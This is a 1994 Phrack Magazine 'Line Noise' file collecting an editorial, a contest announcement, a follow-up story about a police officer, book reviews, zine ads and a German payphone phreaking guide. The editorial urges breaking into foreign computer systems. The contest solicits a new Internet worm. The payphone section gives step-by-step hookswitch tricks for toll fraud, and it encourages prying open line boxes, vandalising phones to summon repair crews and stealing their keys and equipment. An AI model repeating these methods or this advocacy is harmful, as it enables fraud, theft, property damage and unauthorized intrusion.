‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Stupid hackers.

We've got to do something to clean up our image.

We truly are "America's Most Valuable Resource," as ex‑CIA spook Robert Steele has said so many times. But if we don't stop screwing over our own countrymen, we will never be looked at as anything more than common gutter trash. Hacking computers for the sole purpose of collecting systems like space‑age baseball cards is stupid, pointless and can only lead to a quick trip up the river.

Obviously, no one is going to stop hacking. I've been lucky in that I've found people willing to pay me to hack for them rather than against them, but not everyone can score such a coup. What kind of alternative can the rest of the community have?

Let's say that everyone was given an opportunity to hack without any worry of prosecution with free access to a safe system to hack from, with the only catch being that you could not hack certain systems. Military, government, financial, commercial and university systems would all still be fair game. Every operating system, every application, every network type all open to your curious minds.

Would this be a good alternative? Could you follow a few simple guidelines for the offer of virtually unlimited hacking with no worry of governmental interference?

Where am I going with this?

Right now we are at war. You may not realize it, but we all feel the implications of this war, because it's a war with no allies, and enormous stakes. It's a war of economics.

The very countries that shake our hands over the conference tables of NATO and the United Nations are picking our pockets. Whether it be the blatant theft of American R&D by Japanese firms, or the clandestine and governmentally‑sanctioned bugging of Air France first‑class seating, or the cloak‑and‑dagger hacking of the SWIFT network by the German BND's Project Rahab, America is getting fucked.

Every country on the planet is coming at us. Let's face it, we are the leaders in everything. Period. Every important discovery in this century has been by an American or by an American company. Certainly other countries have better profited by our discoveries, but nonetheless, we are the world's think‑tank.

So, is it fair that we keep getting shafted by these so‑called "allies?" Is it fair that we sit idly by, like some old hound too lazy to scratch at the ticks sucking out our life's blood by the gallon? Hell no.

Let's say that an enterprising group of computer hackers decided to strike back. Using equipment bought legally, using network connections obtained and paid for legally, and making sure that all usage was tracked and paid for, this same group began a systematic attack of foreign computers. Then, upon having gained access, gave any and all information obtained to American corporations and the Federal government.

What laws would be broken? Federal Computer Crime Statutes specifically target so‑called "Federal Interest Computers." (ie: banks, telecommunications, military, etc.) Since these attacks would involve foreign systems, those statutes would not apply. If all calls and network connections were promptly paid for, no toll‑fraud or other communications related laws would apply.

International law is so muddled that the chances of getting extradited by a country like France for breaking into systems in Paris from Albuquerque is slim at best. Even more slim when factoring in that the information gained was given to the CIA and American corporations.

Every hacking case involving international breakins has been tried and convicted based on other crimes. Although the media may spray headlines like "Dutch Hackers Invade Internet" or "German Hackers Raid NASA," those hackers were tried for breaking into systems within THEIR OWN COUNTRIES...not somewhere else. 8lgm in England got press for hacking world‑wide, but got nailed hacking locally. Australia's Realm Hackers: Phoenix, Electron & Nom hacked almost exclusively other countries, but use of AT&T calling cards rather than Australian Telecom got them a charge of defrauding the Australian government. Dutch hacker RGB got huge press hacking a US military site and creating a "dquayle" account, but got nailed while hacking a local university. The list goes on and on.

I asked several people about the workability of my proposal. Most seemed to concur that it was highly unlikely that anyone would have to fear any action by American law enforcement, or of extradition to foreign soil to face charges there. The most likely form of retribution would be eradication by agents of that government. (Can you say, "Hagbard?")

Well, I'm willing to take that chance, but only after I get further information from as many different sources as I can. I'm not looking for anyone to condone these actions, nor to finance them. I'm only interested in any possible legal action that may interfere with my freedom.

I'm drafting a letter that will be sent to as many different people as possible to gather a fully‑formed opinion on the possible legal ramifications of such an undertaking. The letter will be sent to the FBI, SS, CIA, NSA, NRO, Joint Chiefs, National Security Council, Congress, Armed Forces, members of local and state police forces, lawyers, professors, security professionals, and anyone else I can think of. Their answers will help fully form my decision, and perhaps if I pass along their answers, will help influence other American hackers.

We must take the offensive, and attack the electronic borders of other countries as vigorously as they attack us, if not more so. This is indeed a war, and America must not lose.

‑>Erik Bloodaxe...Hacker...American.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, so maybe that was a bit much. But any excuse to hack without fear should be reason enough to exert a bit of Nationalism.

I'd much rather be taken out by the French in some covert operation and go out a martyr, than catch AIDS after being raped by the Texas

Line Noise

==Phrack Magazine==

Volume Five, Issue Forty‑Six, File 3 of 28

// // /\

// // //\\

==== // // \\

/\ // // \\ /

//\\ // // // //

// \\/ \\ // //

PART I

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

!! NEW PHRACK CONTEST !!

Phrack Magazine is sponsoring a programming contest open to anyone who wishes to enter.

Write the Next Internet Worm! Write the world's best X Windows wardialer! Code something that makes COPS & SATAN look like high school Introduction to Computing assignments. Make the OKI 1150 a scanning, tracking, vampirephone. Write an NLM! Write a TSR! Write a stupid game! It doesn't matter what you write, or what computer it's for! It only matters that you enter!

Win from the following prizes:

Computer Hardware & Peripherals

System Software

Complete Compiler packages

CD‑ROMS

T‑Shirts

Magazine Subscriptions

and MANY MORE!

STOP CRACKING PASSWORDS AND DO SOMETHING WITH YOUR LIFE!

Enter the PHRACK PROGRAMMING CONTEST!

The rules are very simple:

1) All programs must be original works. No submissions of previously copyrighted materials or works prepared by third parties will be judged.

2) All entries must be sent in as source code only. Any programming language is acceptable. Programs must compile and run without any modifications needed by the judges. If programs are specific to certain platforms, please designate that platform. If special hardware is needed, please specify what hardware is required. If include libraries are needed, they should be submitted in addition to the main program.

3) No virii accepted. An exception may be made for such programs that are developed for operating systems other than AMIGA/Dos, System 7, MS‑DOS (or variants), or OS/2. Suitable exceptions could be, but are not limited to, UNIX (any variant), VMS or MVS.

4) Entries may be submitted via email or magnetic media. Email should be directed to phrack@well.com. Tapes, Diskettes or other storage media should be sent to

Phrack Magazine

603 W. 13th #1A‑278

Austin, TX 78701

5) Programs will be judged by a panel of judges based on programming skill displayed, originality, usability, user interface, documentation, and creativity.

6) Phrack Magazine will make no claims to the works submitted, and the rights to the software are understood to be retained by the program author. However, by entering, the Author thereby grants Phrack Magazine permission to reprint the program source code in future issues.

7) All Entries must be received by 12‑31‑94. Prizes to be awarded by 3‑1‑95.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑INCLUDE THIS FORM WITH ENTRY‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Author:

Email Address:

Mailing Address:

Program Name:

Description:

Hardware & Software Platform(s) Developed For:

Special Equipment Needed (modem, ethernet cards, sound cards, etc):

Other Comments:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

COMPUTER COP PROPHILE

FOLLOW‑UP REPORT

LT. WILLIAM BAKER

JEFFERSON COUNTY POLICE

by

The Grimmace

In PHRACK 43, I wrote an article on the life and times

of a computer cop operating out of the Jefferson County Police Department in Louisville, Kentucky. In the article, I included

a transcript of a taped interview with him that I did after socially engineering my way through the cop‑bureaucracy in his department. At the time I thought it was a hell of an idea and a lot of PHRACK readers probably got a good insight into how the "other side" thinks.

However, I made the terminal mistake of underestimating

the people I was dealing with by a LONG shot and felt that I should write a short follow‑up on what has transpired since that article was published in PHRACK 43.

A lot of the stuff in the article about Lt. Baker was

obtained by an attorney I know who has no reason to be friendly to the cops. He helped me get copies of court transcripts which included tons of information on Baker's training and areas of expertise. Since the article, the attorney has refused to talk to me and, it appears, that he's been identified as the source

of assistance in the article and all he will say to me is that

"I don't want any more trouble from that guy...forget where you left my phone number." Interesting...no elaboration...hang up.

As I recall, the PHRACK 43 issue came out around

November 17th. On November 20th, I received a telephone call where I was living at the home of a friend of mine from Lt.

Baker who laughingly asked me if I needed any more information for any "future articles". I tried the "I don't know what

you're talking about" scam at which time he read to me my full name, date of birth, social security number, employer, license number of my car, and the serial number from a bicycle I just purchased the day before. I figured that he'd run a credit history on me, but when I checked, there had been no inquiries

on my accounts for a year. He told me the last 3 jobs I'd held and where I bought my groceries and recited a list of BBSs I was on (two of which under aliases other than The Grimmace).

This guy had a way about him that made a chill run up my

spine and never once said the first threatening or abusive thing to me. I suppose I figured that the cops were all idiots and

that I'd never hear anything more about the article and go on to write some more about other computer cops using the same method. I've now decided against it.

I got the message...and the message was "You aren't the

only one who can hack out information." I'd always expected to get the typical "cop treatment" if I ever got caught doing anything, but I think this was worse. Hell, I never know where the guy's gonna show up next. I've received cryptic messages on the IRC from a variety of accounts and servers all over the country and on various "private" BBSs and got one on my birthday on my Internet account...it traced back to an anonymous server somewhere in the bowels of UCLA. I don't know anyone at UCLA

and the internet account I have is an anonymous account actually owned by another friend of mine.

I think the point I'm trying to make is that all of us

have to be aware of how the cops think in order to protect ourselves and the things we believe in. But...shaking the hornet's nest in order to see what comes out maybe isn't the coolest way to investigate.

Like I wrote in my previous article, we've all gotten a

big laugh from keystone cops like Foley and Golden, but things may be changing. Local and federal agencies are beginning to cooperate on a regular basis and international agencies are also beginning to join the party.

The big push to eradicate child‑pornography has led to a number of hackers being caught in the search for the "dirty old men" on the Internet. Baker was the Kentucky cop who was singularly responsible for the bust of the big kiddie‑porn FSP site at the University of Birmingham in England back in April and got a lot of press coverage about it. But I had personally never considered that a cop could hack his way into a password‑protected FSP site. And why would he care about something happening on the other side of the world? Hackers do it, but not cops...unless the cops are hackers. Hmmm...theories anyone?

I don't live in Louisville anymore...not because of

Baker, but because of some other problems, but I still look over my shoulder. It would be easier if the guy was a prick, but I'm more paranoid of the friendly good‑ole boy than the raving lunatic breaking in our front doors with a sledge hammer. I always thought we were safe because we knew so much more than

the people chasing us. I'm not so certain of that anymore.

So that's it. I made the mistakes of 1) probably

embarrassing a guy who I thought would never be able to touch me and 2), drawing attention to myself. A hacker's primary protection lies in his anonymity...those who live the high profiles are the ones who take the falls and, although I haven't fallen yet, I keep having the feeling that I'm standing on the edge and that I know the guy sneaking up behind me.

From the shadows‑‑

The Grimmace

[HsL ‑ RAt ‑ UQQ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

!! PHRACK READS !!

"Cyberia" by Douglas Rushkoff Review by Erik Bloodaxe

Imagine a book about drugs written by someone who never inhaled. Imagine a book about raves written by someone saw a flyer once. Imagine a book about computers by someone who someone who thinks a macintosh is complex.

Imagine an author trying to make a quick buck by writing about something his publisher said was hot and would sell.

And there you have Cyberia, by Douglas Rushkoff.

I have got to hand it to this amazing huckster Rushkoff, though. By publishing Cyberia, and simultaneously putting out "The Gen X Reader," (which by the way is unequaled in its insipidness), he has covered all bases for the idiot masses to devour at the local bookseller.

Rushkoff has taken it upon himself to coin new terms such as "Cyberia," the electronic world we live in; "Cyberians," the people who live and play online; etc...

Like we needed more buzzwords to add to a world full of "Infobahns" "console cowboys," and "phrackers." Pardon me while I puke.

The "interviews" with various denizens of Rushkoff's "Cyberia" come off as fake as if I were to attempt to publish an interview with Mao Tse Tung in the next issue of Phrack.

We've got ravers talking on and on about "E" and having deep conversations about smart drugs and quantum physics. Let's see: in the dozens of raves I've been to in several states the deepest conversation that popped up was "uh, do you have any more of that acid?" and "this mix is cool." And these conversations were from the more eloquent of the nearly all under 21 crowd that the events attracted. Far from quantum physicians. And beyond that, its been "ecstasy" or "X" in every drug culture I've wandered through since I walked up the bar of Maggie Mae's on Austin, Texas' 6th Street in the early 80's with my fake id and bought a pouch of the magic elixir over the counter from the bartender (complete with printed instructions). NOT "E." But that's just nit‑picking.

Now we have the psychedelic crowd. Listening to the "Interviews" of these jokers reminds me of a Cheech and Chong routine involving Sergeant Stedanko. "Some individuals who have smoked Mary Jane, or Reefer oftimes turn to harder drugs such as LSD." That's not a quote from the book, but it may as well be. People constantly talk about "LSD‑this" and "LSD‑that." Hell, if someone walked into a room and went on about how he enjoyed his last "LSD experience" the way these people do, you'd think they were really really stupid, or just a cop. "Why no, we've never had any of that acid stuff. Is it like LSD?" Please.

Then there are the DMT fruitcakes. Boys and girls, DMT isn't being sold on the street corner in Boise. In fact, I think it would be easier for most people to get a portable rocket launcher than DMT. Nevertheless, in every fucking piece of tripe published about the "new psychedlicia" DMT is splattered all over it. Just because Terrance Fucking McKenna saw little pod people, does not mean it serves any high position in the online community.

And Hackers? Oh fuck me gently with a chainsaw, Douglas. From Craig Neidorf's hacker Epiphany while playing Adventure on his Atari VCS to Gail Thackeray's tearful midnight phonecall to Rushkoff when Phiber Optik was raided for the 3rd time. PLEASE! I'm sure Gail was up to her eyebrows in bourbon, wearing a party hat and prank calling hackers saying "You're next, my little pretty!" Not looking for 3rd‑rate schlock journalists to whine to.

The Smart Drink Girl? The Mondo House? Gee...how Cyber. Thanks, but no thanks.

I honestly don't know if Rushkoff really experienced any of this nonsense, or if he actually stumbled on a few DMT crystals and smoked this reality. Let's just say, I think Mr. Rushkoff was absent the day his professor discussed "Creative License in Journalism" and just decided to wing it.

Actually, maybe San Francisco really is like this. But NOWHERE else on the planet can relate. And shit, if I wanted to read a GOOD San Francisco book, I'd reread Armistead Maupin's "Tales of the City." This book should have been called "Everything I Needed to Know About Cyber‑Culture I Learned in Mondo‑2000."

Seriously...anyone who reads this book and finds anything remotely close to the reality of the various scenes it weakly attempts to cover needs to email me immediately. I have wiped my ass with better pulp.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

BOOK REVIEW: INFORMATION WARFARE CHAOS ON THE ELECTRONIC SUPERHIGHWAY By Winn Schwartau

INFORMATION WARFARE ‑ CHAOS ON THE ELECTRONIC SUPERHIGHWAY

By Winn Schwartau. (C)opyright 1994 by the author

Thunder's Mouth Press, 632 Broadway / 7th floor / New York, NY 10012 ISBN 1‑56025‑080‑1 ‑ Price $22.95

Distributed by Publishers Group West, 4065 Hollis St. / Emeryville, CA 94608 (800) 788‑3123

Review by Scott Davis (dfox@fennec.com)

(from tjoauc1‑4 ftp: freeside.com /pub/tjoauc)

If you only buy one book this year, make sure it is INFORMATION WARFARE! In my 10+ years of existing in cyberspace and seeing people and organizations debate, argue and contemplate security issues, laws, personal privacy, and solutions to all of these issues...and more, never have I seen a more definitive publication. In INFORMATION WARFARE, Winn Schwartau simply draws the line on the debating. The information in this book is hard‑core, factual documentation that leaves no doubt in this reader's mind that the world is in for a long, hard ride in regards to computer security. The United States is open to the world's electronic terrorists. When you finish reading this book, you will find out just how open we are.

Mr. Schwartau talks about industrial espionage, hacking, viruses, eavesdroping, code‑breaking, personal privacy, HERF guns, EMP/T bombs, magnetic weaponry, and the newest phrase of our generation... "Binary Schizophrenia". He exposes these topics from all angles. If you spend any amount of time in Cyberspace, this book is for you.

How much do you depend on technology?

ATM machines, credit cards, toasters, VCR's, televisions, computers, telephones, modems...the list goes on. You use technology and computers and don't even know it! But the point is...just how safe are you from invasion? How safe is our country's secrets? The fact is ‑ they are NOT SAFE! How easy is it for someone you don't know to track your every move on a daily basis? VERY EASY! Are you a potential victim to fraud, breech of privacy, or general infractions against the way you carry on your daily activities? YES! ...and you'd never guess how vulnerable we all are!

This book will take you deep into places the government refuses to acknowledge. You should know about INFORMATION WARFARE. Order your copy today, or pick it up at your favorite book store. You will not regret it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

_Firewalls and Internet Security: Repelling the Wily Hacker_

William R. Cheswick <ches@research.att.com> Steven M. Bellovin <smb@research.att.com>

Addison‑Wesley, ISBN 0‑201‑63357‑4 306 + XIV = 320 pages (Printed on recycled paper)

A‑Somewhat‑Less‑Enthusiastic‑Review

Reviewed by Herd Beast

The back of this book claims that, "_Firewalls and Internet Security_ gives you invaluable advice and practical tools for protecting your organization's computers from the very real threat of hacker attacks." That is true. The authors also add something from their knowledge of these hacker attacks. The book can be roughly separated into two parts: Firewalls, and, you guessed it: Internet Security. That is how I see it. The book itself is divided into four parts (Getting Started, Building Your Own Firewall, A Look Back & Odds and Ends), three appendixes, a bibliography, a list of 42 bombs and an index.

The book starts with overall explanations and an overview of the TCP/IP protocol. More than an overview of the actual TCP/IP protocol, it is a review of services often used with that protocol, and the security risks they pose. In that chapter the authors define "bombs" ‑‑ as particularly serious security risks. Despite that fact, and the tempting bomb list in the end, this book is not a guide for someone with passing knowledge of Internet security who wants to learn more explicit details about holes. It is, in the authors' words, "not a book on how to administer a system in a secure fashion."

FIREWALLS (Including the TCP/IP overview: pages 19‑131)

What is a firewall and how is it built?(*) If you don't know that, then definitely get this book. The Firewalls chapter is excellent even for someone with a passing knowledge of firewalls or general knowledge of what they set out to accomplish. You might still learn more.

In the Firewalls chapter, the authors explain the firewall philosophy and types of firewalls. Packet‑filtering gateways rely on rule‑based packet filtering to protect the gateway from various types of attacks. You can filter everything and achieve the same effect of disconnecting from the Internet, you can filter everything from misbehaving sites, you can allow only mail in, and so on. An application‑level gateway relies on the applications set on the firewall. Rather then let a router filter traffic based on rules, one can strip a machine clean and only run desired services ‑‑ and even then, more secure versions of those services can be run. Circuit‑level gateways relay data between the gateway and other networks. The relay programs copy data from inside the firewall to the outside, and log their activity. Most firewalls on the Internet are a combination of these gateways.

Next, the authors explain how to build an application‑level gateway based on the work they have done with the research.att.com gateways. As mentioned, this chapter is indeed very good. They go over setting up the firewall machines, router configuration for basic packet filtering (such as not allowing Internet packets that appear to come from inside your network). They show, using the software on the AT&T gateway as example, the general outline of proxies and give some useful advise. That chapter is very interesting; reading it with Bill Cheswick's (older) paper, "The Design of a Secure Internet Gateway" makes it even better. The examples given, like the NFS and X proxies run on the gateway, are also interesting by themselves.

INTERNET SECURITY (pages 133‑237)

Internet security is a misleading name. This part might also be called "Everything else." Most of it is a review of hacker attacks logged by AT&T's gateway probes, and of their experience with a hacker. But there is also a chapter dedicated to computer crime and the law ‑computer crime statutes, log files as evidence, the legalities of monitoring intruders and letting them keep their access after finding them, and the ethics of many actions performed on the Internet; plus an introduction to cryptography under Secure Communication over Insecure Networks. The later sections are good. The explanation of several encryption methods and short reviews of applications putting them to use (PEM, PGP and RIPEM) are clear (as clear as cryptography can get) and the computer crime sections are also good ‑‑ although I'm not a lawyer and therefore cannot really comment on it, and notes that look like "5 USC 552a(b)(c)(10)" cause me to shudder. It's interesting to note that some administrative functions as presented in this book, what the authors call counter‑intelligence (reverse fingers and rusers) and booby traps and fake password file are open for ethical debate. Perhaps they are not illegal, but counter‑intelligence can surely ring the warning bells on the site being counter‑fingered if that site itself is security aware.

That said, let's move to hackers. I refer to these as "hacker studies", or whatever, for lack of a better name. This is Part III (A Look Back), which contains the methods of attacks (social engineering, stealing passwords, etc), the Berferd incident (more on that later), and an analysis (statistical and otherwise) of the Bell Labs gateway logs.

Back to where we started, there is nothing new or innovative about these chapters. The Berferd hacker case is not new, it is mostly just uninteresting. The chapter is mostly a copy (they do state this) of Bill Cheswick's paper titled "A Night with Berferd, in Which a Cracker is Lured, Endured and Studied." The chapter concerning probes and door‑knob twisting on the Internet (Traps, Lures, and Honey Pots) is mostly a copy (they do not state this) of Steven Bellovin's paper titled, "There Be Dragons". What do we learn from the hacker‑related chapters? Let's take Berferd: The Sendmail DEBUG hole expert. After mailing himself a password file and receiving it with a space after the username, he tries to add accounts in a similar fashion. Cheswick calls him "flexible". I might have chosen another F‑word. Next are the hacker logs. People finger. People tftp /etc/passwd. People try to rlogin as bin. There are no advanced attacks in these sections. Compared with the scary picture painted in the Firewalls chapter ‑that of the Bad Guy spoofing hostnames, flooding DNS caches, faking NFS packets and much more ‑‑ something must have gone wrong.(**)

Still, I cannot say that this information is totally useless. It is, as mentioned, old. It is available and was available since 1992 on ftp://research.att.com:{/dist/internet_security,/dist/smb}. (***)

The bottom line is that this book is, in my opinion, foremost and upmost a Firewaller's book. The hacker section could have been condensed into Appendix D, a copy of the CERT advisory about computer attacks ("Don't use guest/guest. Don't leave root unpassworded.") It really takes ignorance to believe that inexperienced hackers can learn "hacker techniques" and become mean Internet break‑in machines just by reading _Firewalls and Internet Security_. Yes, even the chapter dedicated to trying to attack your own machine to test your security (The Hacker's Workbench) is largely theoretical. That is to say, it doesn't go above comments like "attack NFS". The probes and source code supplied there are for programs like IP subnet scanners and so on, and not for "high‑level" stuff like ICMP bombers or similar software; only the attacks are mentioned, not to implementation. This is, by the way, quite understandable and expected, but don't buy this book if you think it will make you into some TCP/IP attacker wiz.

In summary:

THE GOOD

The Firewalls part is excellent. The other parts not related to hacker‑tracking are good as well. The added bonuses ‑‑ in the form of a useful index, a full bibliography (with pointers to FTP sites), a TCP port list with interesting comments and a great (running out of positive descriptions here) online resources list ‑‑ are also grand (whew).

THE BAD

The hacker studies sections, based on old (circa 1992) papers, are not interesting for anyone with any knowledge of hacking and/or security who had some sort of encounters with hackers. People without this knowledge might either get the idea that: (a) all hackers are stupid and (b) all hackers are Berferd‑style system formatters. Based on the fact that the authors do not make a clear‑cut statement about hiring or not hiring hackers, they just say that you should think if you trust them, and that they generally appear not to have a total draconian attitude towards hackers in general, I don't think this was intentional.

THE UGLY (For the nitpickers)

There are some nasty little bugs in the book. They're not errors in that sense of the word; they're just kind of annoying ‑‑ if you're sensitive about things like being called a hacker or a cracker, they'll annoy you. Try this: although they explain why they would use the term "hacker" when referring to hackers (and not "eggsucker", or "cracker"), they often use terms like "Those With Evil Intention". Or, comparing _2600 Magazine_ to the Computer underground Digest.

(*) From the Firewalls FAQ <fwalls‑faq@tis.com>:

``A firewall is any one of several ways of protecting one network from another untrusted network. The actual mechanism whereby this is accomplished varies widely, but in principle, the firewall can be thought of as a pair of mechanisms: one which exists to block traffic, and the other which exists to permit traffic. Some firewalls place a greater emphasis on blocking traffic, while others emphasize permitting traffic.''

(**) This would be a great place to start a long and boring discussion about different types of hackers and how security (including firewalls) affect them. But... I don't think so.

(***) ftp://research.att.com:/dist/internet_security/firewall.book also

contains, in text and PostScript, the list of parts, chapters and sections in the book, and the Preface section. For that reason, those sections weren't printed here.

All the papers mentioned in this review can be found on that FTP site.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Announcing Bellcore's Electronic Information Catalog for Industry Clients...

To access the online catalog:

telnet info.bellcore.com

login: cat10

or dial 201‑829‑2005

annex: telnet info

login: cat10

[Order up some E911 Documents Online!]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TTTTT H H EEEEE

T H H E

T HHHHH EEEEE

T H H E

T H H EEEEE

CCC U U RRRR M M U U DDDD GGG EEEEE OOO N N C C U U R R MM MM U U D D G G E O O NN N C U U RRRR M M M U U D D G EEEEE O O N N N C C U U R R M M U U D D G GG E O O N NN CCC UUU R R M M UUU DDDD GGG EEEEE OOO N N

Bill Clinton promised good health care coverage for everyone. Bill Clinton promised jobs programs for the unemployed. Bill Clinton promised that everyone who wanted could serve in the military. Bill Clinton promised a lot. So does the Curmudgeon. But unlike Bill Clinton, we'll deliver...

For only $10 a year (12 issues) you'll get alternative music reviews and interviews, political reporting, anti‑establishment features and commentary, short fiction, movie reviews, book reviews, and humor. Learn the truth about the Gulf War, Clipper, and the Selective Service System. Read everything you wanted to know about bands like the Offspring, R.E.M., the Cure, Porno for Pyros, Pearl Jam, Dead Can Dance, Rhino Humpers, and Nine Inch Nails. Become indoctrinated by commentary that just might change the way you think about some things. Subscribe to the Curmudgeon on paper for $10 or electronically for free. Electronic subscribers don't get everything that paying subscribers do like photos, spoof ads, and some articles.

Paper: send $10 check or money order to the Curmudgeon

4505 University Way N.E.

Box 555

Seattle, Washington

98105

Electronic: send a request to rodneyl@u.washington.edu

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

% The Journal Of American Underground Computing ‑ ISSN 1074‑3111 %

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

Computing ‑ Communications ‑ Politics ‑ Security ‑ Technology ‑ Humor ‑Underground ‑ Editorials ‑ Reviews ‑ News ‑ Other Really Cool Stuff‑

Published Quarterly/Semi‑Quarterly By Fennec Information Systems This is one of the more popular new electronic publications. To get your free subscription, please see the addresses below. Don't miss out on this newsworthy publication. We are getting hundreds of new subscriptions a month. This quarterly was promoted in Phrack Magazine. If you don't subscribe, you're only cheating yourself. Have a great day...and a similar tomorrow

* Coming soon * A Windows‑based help file containing all of the issues of the magazine as well as extensive bio's of all of the editors.

Subscription Requests: sub@fennec.com

Comments to Editors : editors@fennec.com

Back issues via Ftp : etext.archive.umich.edu /pub/Zines/JAUC fc.net /pub/tjoauc

Submissions : submit@fennec.com

Finger info : dfox@fc.net and kahuna@fc.net

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Make the best out of your European pay telephone by Onkel Dittmeyer, onkeld@ponton.hanse.de

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Okay guys and girls, let's come to a topic old like the creation but yet never revealed. European, or, to be more exact, German pay phone technology. Huh‑huh.

There are several models, round ones, rectangular ones, spiffy looking ones, dull looking ones, and they all have one thing in common: If they are something, they are not what the American reader might think of a public pay telephone, unlike it's U.S. brothers, the German payphones always operate off a regular customer‑style telephone line, and therefore they're basically all COCOTS, which makes it a lot easier to screw around with them.

Let's get on with the models here. You are dealing with two classes; coin‑op ones and card‑op ones. All of them are made by Siemens and TELEKOM. The coin‑op ones are currently in the process of becoming extinct while being replaced by the new card‑op's, and rather dull. Lacking all comfort, they just have a regular 3x4 keypad, and they emit a cuckoo tone if you receive a call. The only way to tamper with these is pure physical violence, which is still easier than in the U.S.; these babies are no fortresses at all. Well, while the coin‑op models just offer you the opportunity of ripping off their money by physically forcing them open, there is a lot more fun involved if you're dealing with the card babies. They are really spiffy looking, and I mean extraordinary spiffy. Still nothing compared to the AT&T VideoFoNeZ, but still really spiffy. The 2‑line pixel‑oriented LCD readout displays the pure K‑Radness of it's inventors. Therefore it is equipped with a 4x4 keypad that has a lot of (undocumented) features like switching the mother into touch‑tone mode, redial, display block etc. Plus, you can toggle the readout between German, English, and French. There are rumors that you can put it into Mandarin as well, but that has not been confirmed yet.

Let's get ahead. Since all payphones are operating on a regular line, you can call them up. Most of them have a sign reading their number, some don't. For those who don't, there is no way for you to figure out their number, since they did not invent ANI yet over here in the country famous for its good beer and yodel chants. Well, try it. I know you thought about it. Call it collect. Dialing 010 will drop you to a long‑distance operator, just in case you didn't know. He will connect the call, since there is no database with all the payphone numbers, the payphone will ring, you pick up, the operator will hear the cuckoo tone, and tell you to fuck off. Bad luck, eh?

This would not be Phrack if there would be no way to screw it. If you examine the hook switch on it closely, you will figure out that, if you press it down real slow and carefully, there are two levels at whom it provokes a function; the first will make the phone hang up the line, the second one to reset itself. Let me make this a little clearer in your mind.

‑‑‑‑‑ <‑‑totally released

|

|

| <‑‑hang up line

press to this level ‑‑> |

| <‑‑reset

|

‑‑‑‑‑ <‑‑totally hung up

Involves a little practice, though. Just try it. Dial a number it will let you dial, like 0130, then it will just sit there and wait for you to dial the rest of the number. Start pressing down the hookswitch really slow till the line clicks away into suspense, if you release it again it will return you to the dial tone and you are now able to call numbers you aren't supposed to call, like 010 (if you don't have a card, don't have one, that's not graceful), or 001‑212‑456‑1111. Problem is, the moment the other party picks up, the phone will receive a charge subtraction tone, which is a 16kHz buzz that will tell the payphone to rip the first charge unit, 30 pfennigs, off your card, and if you don't have one inserted and the phone fails to collect it, it will go on and reset itself disconnecting the line. Bad luck. Still good enough to harass your favorite fellas for free, but not exactly what we're looking for, right? Try this one. Push the hook lever to the suspension point, and let it sit there for a while, you will have to release it a bit every 5 seconds or so, or the phone will reset anyway. If you receive a call while doing this, a buzz will appear on the line.

Upon that buzz, let the lever go and you'll be connected, and the cuckoo tone will be shut up! So if you want to receive a collect call, this is how you do it. Tell the operator you accept the charges, and talk away. You can use this method overseas, too: Just tell your buddy in the states to call Germany Direct (800‑292‑0049) and make a collect call to you waiting in the payphone, and you save a cool $1.17 a minute doing that. So much for the kids that just want to have some cheap fun, and on with the rest.

Wasting so much time in that rotten payphone, you probably noticed the little black box beneath the phone. During my, erm, research I found out that this box contains some fuses, a standard Euro 220V power connector, and a TAE‑F standard phone connector. Completing the fun is the fact that it's extremely easy to pry it open. The TAE‑F plug is also bypassing the phone and the charge collection circuits, so you can just use it like your jack at home. Bring a crowbar and your laptop, or your Pentium tower, power it over the payphone and plug your Dual into the jack. This way you can even run a board from a payphone, and people can download the latest WaReZzzZzz right from the booth. It's preferable to obtain a key for the lock of the box, just do some malicious damage to it (yes, let the animal take control), and call Telekom Repairs at 1171 and they will come and fix it. Since they always leave their cars unlocked, or at least for the ones I ran across, you can either take the whole car or all their k‑rad equipment, manuals, keys, and even their lunch box. But we're shooting off topic here. The keys are usually general keys, means they fit on all payphones in your area. There should also be a nationwide master key, but the German Minister of Telecommunications is probably keeping that one in his desk drawer.

The chargecards for the card‑op ones appear to have a little chip on them, where each charge unit is being deducted, and since no‑one could figure out how it works, or how to refill the cards or make a fake one, but a lot of German phreaks are busy trying to figure that out.

A good approach is also social‑engineering Telekom so they turn off the charge deduction signal (which doesn't mean the call are free, but the buzz is just not transmitted any more) so the phone doesn't receive a signal to charge you any money no matter where you call. The problem with this method is that the world will spread in the neighborhood that there is a payphone where you can call for free, and therefore it will be so crowded that you can't use it, and

the phone pals will catch up fast. It's fun though, I tried it, and I still get free drinks at the local pub for doing it.

